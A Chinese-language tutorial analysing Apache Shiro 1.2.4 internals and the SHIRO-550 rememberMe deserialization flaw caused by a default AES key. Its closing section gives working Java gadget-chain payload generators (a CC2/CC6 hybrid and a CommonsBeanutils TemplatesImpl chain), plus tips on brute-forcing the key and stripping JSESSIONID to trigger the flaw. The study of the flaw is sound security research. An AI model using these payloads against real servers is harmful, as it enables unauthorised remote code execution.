深入理解Shiro反序列化原理
前言
Shiro是一個功能強大且易于使用的Java安全框架,提供全面的身份驗證、授權、密碼管理和會話管理功能。它支持多種認證方式,如基于表單、HTTP基本身份驗證和RememberMe。授權模型靈活,可細粒度限制訪問控制,保護敏感數據和功能。安全會話管理功能確保會話安全,包括記住我功能和會話超時設置。無論是Web應用還是其他Java應用,Shiro都是可靠的選擇,增加應用程序的安全性。
在shiro-core庫中實現了對認證授權等的抽象,以提供對不同環境的認證和授權。如shiro-web依賴就是對在shiro-core庫的技術上進行擴展實現web應用的認證和授權等。在shiro-core庫中包括SecurityManager,Authenticator,Authoriser,realm,sessionManager等核心組件,具體關系如下圖所示。
image
從整體看是由SecurityManager管理的,然后認證和授權依賴于底層的realm從不同的途徑獲取對應數據。整個過程過程中的加密算法是由Cryptography完成的,在shiro中默認支持的加密算法有MD5/Hash/AES/RSA等。最后由sessionManager進行會話管理,同時還有session緩存等機制支持。
環境搭建
這里可以直接直接把官網的項目拉下來使用。
git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4 //切換到1.2.4版本
打開后需要修改shiro/samples/web/pom.xml路徑下jstl的依賴版本,否則會出現jsp解析報錯。
image
最后配置好tomcat,然后選擇對應項目就可以跑起來了。
image
image
源碼分析
入口點
shiro與web應用是通過一個過濾器綁定的,在web.xml中就可以看到。
image
所有的請求都將被ShiroFilter攔截,同時在過濾器之前還有一個listener,它在filter之前被初始化,它的作用就是為ShiroFilter初始化提供web環境的依賴對象。
ShiroFilter初始化
ShiroFilter是Filter的子類,由于它的匹配規則是/*,所以所有的請求都會被他處理。先來看一下它的繼承關系。
image
首先找到對應的初始化方法org.apache.shiro.web.servlet.AbstractFilter#init。
public final void init(FilterConfig filterConfig) throws ServletException {
setFilterConfig(filterConfig);
try {
onFilterConfigSet();
} catch (Exception e) {
......
}
public void setFilterConfig(FilterConfig filterConfig) {
this.filterConfig = filterConfig;
setServletContext(filterConfig.getServletContext());//設置servletContext
}
其中的參數FilterConfig是由調用者ApplicationFilterConfig初始化時傳遞的自身,每一個filter都由ApplicationFilterConfig來管理最后存放在StandardContext#filterConfigs中。具體filter初始化的代碼就不再深入了,有興趣的同學可以再去結合tomcat的源碼看看,有助于后面學習通過shiro注入filter內存碼。
protected final void onFilterConfigSet() throws Exception {
//added in 1.2 for SHIRO-287:
applyStaticSecurityManagerEnabledConfig();//安全配置檢查是否使用靜態安全管理器
init();
ensureSecurityManager();//檢查securitymanager,否則初始化DefaultWebSecurityManager
//added in 1.2 for SHIRO-287:
if (isStaticSecurityManagerEnabled()) {
SecurityUtils.setSecurityManager(getSecurityManager());
}
}
public void init() throws Exception {
WebEnvironment env = WebUtils.getRequiredWebEnvironment(getServletContext());
setSecurityManager(env.getWebSecurityManager());
FilterChainResolver resolver = env.getFilterChainResolver();
if (resolver != null) {
setFilterChainResolver(resolver);
}
}
這里才調用了ShiroFilter#init方法,首先從servletContext中獲取WebEnvironment對象,這個對象是在前面配置的listener初始化時創建的。同時初始化了securityManager對象,最后從WebEnvironment中獲取SecurityManager以及FilterChainResolver(內置過濾器)。
WebEnvironment創建
在前面的web.xml配置文件中可以看到除了filter之外還配置了一個EnvironmentLoaderListener,在初始化時就會調用其父類的EnvironmentLoader#initEnvironment方法。
image
前面看到在EnvironmentLoaderListener初始化中創建了WebEnvironment對象,調用了createEnvironment方法。
protected WebEnvironment createEnvironment(ServletContext sc) {
Class<?> clazz = determineWebEnvironmentClass(sc);
....
MutableWebEnvironment environment = (MutableWebEnvironment) ClassUtils.newInstance(clazz);
environment.setServletContext(sc);
...
customizeEnvironment(environment);
LifecycleUtils.init(environment);
return environment;
}
protected Class<?> determineWebEnvironmentClass(ServletContext servletContext) {
String className = servletContext.getInitParameter(ENVIRONMENT_CLASS_PARAM);
if (className != null) {
try {
return ClassUtils.forName(className);
} catch (UnknownClassException ex) {
throw new ConfigurationException(
"Failed to load custom WebEnvironment class [" + className + "]", ex);
}
} else {
return IniWebEnvironment.class;
}
}
在創建WebEnvironment是也會首先查找servletcontext中是否自定義配置,默認使用IniWebEnvironment,及使用ini配置文件初始化securitymanager。然后初始化默認的內置過濾器。
public void init() {
Ini ini = getIni();
......
setIni(ini);
configure();
}
protected void configure() {
this.objects.clear();
WebSecurityManager securityManager = createWebSecurityManager();//創建默認wsm
setWebSecurityManager(securityManager);
FilterChainResolver resolver = createFilterChainResolver();//初始化默認過濾器
if (resolver != null) {
setFilterChainResolver(resolver);
}
}
最后WebEnvironment的初始化結束調用servletContext.setAttribute(ENVIRONMENT_ATTRIBUTE_KEY, environment)設置到ApplicationContext的attributes屬性中,最后在ShiroFilter初始化時就會獲取該對象中的WebEnvironment和FilterChainResolver。
ShiroFilter過濾器
上面分析了ShiroFilter的初始化的過程,下面就來看看在我們shiro框架下的web應用是怎么實現安全訪問控制的。
首先從OncePerRequestFilter#doFilter方法入手,他是Filter接口中定義的方法。在tomcat處理完請求的封裝時在就會依次調用所有注冊的filter的doFilter方法。
public final void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws ServletException, IOException {
String alreadyFilteredAttributeName = getAlreadyFilteredAttributeName();
if ( request.getAttribute(alreadyFilteredAttributeName) != null ) {
filterChain.doFilter(request, response);//防止同一個過濾器調用兩次
} else //noinspection deprecation
if ( !isEnabled(request, response) || shouldNotFilter(request) ) {
filterChain.doFilter(request, response);
} else {
request.setAttribute(alreadyFilteredAttributeName, Boolean.TRUE);
try {
doFilterInternal(request, response, filterChain);
} finally {
request.removeAttribute(alreadyFilteredAttributeName);
}
}
}
然后,回調用父類的AbstractShiroFilter#doFilterInternal方法。
protected void doFilterInternal(ServletRequest servletRequest, ServletResponse servletResponse, final FilterChain chain)
throws ServletException, IOException {
Throwable t = null;
try {
final ServletRequest request = prepareServletRequest(servletRequest, servletResponse, chain);
final ServletResponse response = prepareServletResponse(request, servletResponse, chain);
final Subject subject = createSubject(request, response);
//noinspection unchecked
subject.execute(new Callable() {
public Object call() throws Exception {
updateSessionLastAccessTime(request, response);
executeChain(request, response, chain);
return null;
}
});
} catch (ExecutionException ex) {
t = ex.getCause();
} catch (Throwable throwable) {
t = throwable;
}
...
}
在這個方法里面首先對tomcat中的request和response對象重寫進行了封裝,然后主要代碼如下:
final Subject subject = createSubject(request, response);//由securitymanager創建
subject.execute(new Callable() {
public Object call() throws Exception {
updateSessionLastAccessTime(request, response);
executeChain(request, response, chain);//匹配請求URL執行內置過濾器
return null;
}
});
首先來看創建subject的過程。
由于這是web環境,所有在shiro-web里面重寫了WebSubject繼承subject,以及其內部的builder靜態內部類。
image
在創建過程中先初始化了WebSubject.Builder類,然后調用Builder.buildSubject,最后調用了SecurityManager#createSubject,其中 的subjectContext是在Builder初始化時創建的DefaultSubjectContext類,這個類負責處理本次會話的上下文對象,它的本質是一個Hashmap。
image
在初始化結束時默認存在如下對象:
image
在DefaultSecurityManager#createSubject(SubjectContext)中首先克隆了一個context對象,然后依次檢查其中的securitymanger,session,PrincipalCollection對象,如果不存在則創建并添加,最后再以這個context創建subject對象。
public Subject createSubject(SubjectContext subjectContext) {
SubjectContext context = copy(subjectContext);
context = ensureSecurityManager(context);
context = resolveSession(context);
context = resolvePrincipals(context);
Subject subject = doCreateSubject(context);
save(subject);
return subject;
}
其中shiro550漏洞就是在resolvePrincipals時觸發的。我們可以簡單跟進看一下。
protected SubjectContext resolvePrincipals(SubjectContext context) {
PrincipalCollection principals = context.resolvePrincipals();
if (CollectionUtils.isEmpty(principals)) {
principals = getRememberedIdentity(context);
if (!CollectionUtils.isEmpty(principals)) {
context.setPrincipals(principals);
} else {
}
}
return context;
}
前面代碼邏輯還是差不多的,先從context中獲取principal對象,然后檢查是是否為空,如果為空則調用getRememberedIdentity創建然后設置到context中,否則直接返回,所以如果要觸發反序列化這里必須要為空。我們跟進resolvePrincipals方法中看一下。
public PrincipalCollection resolvePrincipals() {
PrincipalCollection principals = getPrincipals();
if (CollectionUtils.isEmpty(principals)) {
AuthenticationInfo info = getAuthenticationInfo();
if (info != null) {
principals = info.getPrincipals();
}
}
if (CollectionUtils.isEmpty(principals)) {
Subject subject = getSubject();
if (subject != null) {
principals = subject.getPrincipals();
}
}
if (CollectionUtils.isEmpty(principals)) {
Session session = resolveSession();
if (session != null) {
principals = (PrincipalCollection) session.getAttribute(PRINCIPALS_SESSION_KEY);
}
}
return principals;
}
這個方法就和前面的resolveSession有點不太一樣了,他第一次調用了getPrincipals如果為空還從其地方也獲取了相關對象來構建principals,可以看到最后也獲取了session對象。如果前面已經設置了session對象,那么這里返回的就一定不會是null,最后就不會調用rememberMe導致反序列化。所以我們在利用shiro反序列化時一定要刪除cookie中的JSESSIONID字段。
最后使用context創建對應環境的subject對象,這個對象是shiro框架對開發者使用的一個接口對象,在登錄及認證授權時都是調用的該對象,由他內部再去調用securitymanager對象的操作。
最后回到AbstractShiroFilter#doFilterInternal中,調用了Subject#execute(java.util.concurrent.Callable)方法,傳入了updateSessionLastAccessTime和executeChain方法。這里如果直接跟進這兩個方法回錯過一個細節,就是將subject對象設置打ThreadLocal中,但由于這個和shiro中的漏洞關系不大就不再跟進分析了。
updateSessionLastAccessTime方法沒什么用就不說了,下面跟進executeChain說一下shiro中的路徑匹配。
image
在這個方法里面就分兩步,第一步根據request獲取對應的過濾器,然后第二部執行過濾方法。
protected FilterChain getExecutionChain(ServletRequest request, ServletResponse response, FilterChain origChain) {
FilterChain chain = origChain;
FilterChainResolver resolver = getFilterChainResolver();
if (resolver == null) {
...
return origChain;
}
FilterChain resolved = resolver.getChain(request, response, origChain);
...
return chain;
}
public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) {
FilterChainManager filterChainManager = getFilterChainManager();
if (!filterChainManager.hasChains()) {
return null;
}
String requestURI = getPathWithinApplication(request);
for (String pathPattern : filterChainManager.getChainNames()) {
if (pathMatches(pathPattern, requestURI)) {
return filterChainManager.proxy(originalChain, pathPattern);
}
}
return null;
}
首先獲取FilterChainResolver對象,這個對象就是在WebEnvironment創建時初始化的,然后在ShiroFilter初始化時設置到該類的屬性中。然后根據請求URL匹配對應的過濾器,最后創建一個filterChain的靜態代理類。其中shiro權限繞過的原因主要就是由于路徑匹配時匹配到了錯誤的過濾器或未匹配到shiro內置的過濾器,導致繞過shiro的過濾器檢查,但其請求URL被tomcat過濾器處理后仍然能獲取對應的資源。
SHIRO-550
源碼分析
上面分析了shiro框架的大概流程,在介紹DefaultSecurityManager#createSubject(SubjectContext)中創建Principal時就會對cookie中的rememberMe解析并反序列化。下面就從這開始進行深入分析。
首先進入org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity方法。
protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) {
RememberMeManager rmm = getRememberMeManager();
if (rmm != null) {
try {
return rmm.getRememberedPrincipals(subjectContext);
} catch (Exception e) {
......
}
}
return null;
}
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
其中getRememberedSerializedIdentity方法主要是獲取rememberMe的值并進行base64解密,然后convertBytesToPrincipals對base64解密后的值進行AES解密并反序列化。注意這里的異常捕獲,先提一下后面再回來分析。我們繼續跟進convertBytesToPrincipals方法。
image
這個方法里面也分兩步,第一步對字節數組進行AES解密,第二步進行反序列化。
image
在解密時就會獲取AES密鑰,由于這個密鑰在對象構造函數中初始化為了默認密鑰,導致攻擊者可以根據密鑰進行偽造惡意的反序列化數據進行代碼執行。
我們再來看反序列化的方法。
image
這里調用了readObject方法導致反序列化,注意這里的調用類并不直接是ObjectInputStream對象,而是自定義的一個繼承ObjectInputStream的類,并重寫了resolveClass方法。
image
在原生java反序列化底層代碼中該方法的作用是根據其讀取到完全限定名調用Class.forName()進行類加載獲取對應的Class對象。這里重寫該方法主要是為了使用指定的類加載器來進行類加載,因為在tomcat中打破了雙親委派的機制都是使用的自定義類加載進行類加載,我們跟進該方法也可以看到它首先就從進程中獲取了不同的類加載器進行類加載。
public static Class forName(String fqcn) throws UnknownClassException {
Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
if (clazz == null) {
clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " +
"system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.";
throw new UnknownClassException(msg);
}
return clazz;
}
正是由于這里自定義了類加載器,主要都是通過類名然后去找對應的class文件,然后通過defineclass進行類加載。但是由于java中數組的類對象是由jvm創建的,沒有對應的class文件,導致在利用時反序列化數組對象時回拋出如下異常。這也是在shiro中利用cc鏈的一大限制,但并不是主要原因,其他原因在后面分析利用鏈時再說。
image
剛剛為了使整個分析流程更加順暢,所以沒有提DefaultSecurityManager#getRememberedIdentity方法中拋出的異常。
protected PrincipalCollection onRememberedPrincipalFailure(RuntimeException e, SubjectContext context) {
forgetIdentity(context);
throw e;
}
public void forgetIdentity(SubjectContext subjectContext) {
if (WebUtils.isHttp(subjectContext)) {
HttpServletRequest request = WebUtils.getHttpRequest(subjectContext);
HttpServletResponse response = WebUtils.getHttpResponse(subjectContext);
forgetIdentity(request, response);
}
}
private void forgetIdentity(HttpServletRequest request, HttpServletResponse response) {
getCookie().removeFrom(request, response);
}
從上面的調用鏈跟蹤最后來到SimpleCookie#removeFrom,在這添加了一個cookie為rememberMe=deleteMe,這也是識別shiro框架的特征。同時看整個異常的位置是在base64解密之前,就是從base64解密開始后面的AES解密以及反序列化過程只要拋出了沒有被處理的異常最后都會被捕獲,設置rememberMe=deleteMe。
image
上面是rememberMe的解密過程,下面簡單說一下它在登錄認證過程中是如何產生的。
在后端對登錄請求的處理一般都會先調用SecurityUtils#getSubject獲取對應的subject,然后調用login方法,傳入由username和password初始化的AuthenticationToken對象。
image
在認證成功后就會創建一個principals然后加密返回給客戶端。
上面對整個流程進行了粗略的分析,可以了解到在正常流程中rememberMe的值就是PrincipalCollection對象序列化數據的加密后的值。所以我們在爆破key的時候就可以利用整個對象,但由于它是一個接口,所以我們一般都會利用他的子類SimplePrincipalCollection進行爆破,然后根據返回結果中是否含有deleteMe判斷密鑰是否正確。
image
利用鏈
在前面分析中找到了ObjectInputStream#readObject的調用點,我們利用還需要找到能利用的反序列化鏈,我們前面了解了CC鏈,以及URLDNS等。如果直接嘗試CC鏈可能會出現如下報錯:
image
因為在shiro默認的依賴中不好看CC依賴,導致無法反序列化,然后我們補上CC依賴后再打可能又會遇到下面的報錯,Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;],這就是由于無法創建Transformer數組導致的。所以在打CC依賴的時候必須要找一條不包含數組的鏈,這個的原因在上面也說了。
image
最后在原來的CC鏈的基礎少結合CC2+CC6得出下面這條鏈。
public Object getPayload(String[] args) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
Class templatesClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesImpl, "123");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get(args[0]));
byte[][] codes = new byte[][]{code};
bytecodesField.set(templatesImpl, codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templatesImpl, new TransformerFactoryImpl());
Field auxClassesField = templatesClass.getDeclaredField("_auxClasses");
auxClassesField.setAccessible(true);
auxClassesField.set(templatesImpl, (Object)null);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
Map<Object, Object> map = new HashMap();
LazyMap lazyMap = (LazyMap)LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templatesImpl);
Map<Object, Object> map1 = new HashMap();
map1.put(tiedMapEntry, "bbb");
lazyMap.remove(templatesImpl);
Class c = LazyMap.class;
Field factoryfield = c.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazyMap, invokerTransformer);
return map1;
}
或者直接用依賴commons-collections4的CC2也可以。
上面這種方式是需要我們補依賴環境的,在實戰中這種方式就會有一定的限制,所以我們在shiro中更多的是使用的它自帶的CB鏈去利用。在前面學習CC鏈的時候了解到TemplatesImpl這個類,在這個類里面自定義了類加載器,只要調用TemplatesImpl#newTransformer就可以觸發類加載。我們繼續回溯找到了TrAXFilter的構造函數中調用了該方法,另外還有TemplatesImpl#getOutputProperties中也調用了newTransformer,其中CB鏈就是用的后面這個點。
可以看到getOutputProperties是一個getter方法,在commons-beanutils中有一個調用任意對象getter的方法org.apache.commons.beanutils.PropertyUtils#getProperty(Object bean, String name),它在org.apache.commons.beanutils.BeanComparator#compare中被調用,且參數可控,所以再結合前面CC鏈的部分最后得出下面的CB鏈。
public Object getPayload(String[] args) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
Class templatesClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesImpl, "123");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get(args[0]));
byte[][] codes = new byte[][]{code};
bytecodesField.set(templatesImpl, codes);
Field auxClassesField = templatesClass.getDeclaredField("_auxClasses");
auxClassesField.setAccessible(true);
auxClassesField.set(templatesImpl, (Object)null);
BeanComparator beanComparator = new BeanComparator();
beanComparator.setProperty("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add(1);
priorityQueue.add(1);
Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
Field queueField = priorityQueueClass.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] o = (Object[]) queueField.get(priorityQueue);
o[0] = templatesImpl;
o[1] = templatesImpl;
Field comparator = priorityQueueClass.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,beanComparator);
return priorityQueue;
}
最后也同樣實現了命令執行。
image
總結
以上就是關于shiro反序列化的所有分析了,雖然在1.2.4之后shiro就采用了自定義密鑰或者隨機生成密鑰,但真正反序列點還是沒有改變,如果存在密鑰泄露依然可以導致反序列化。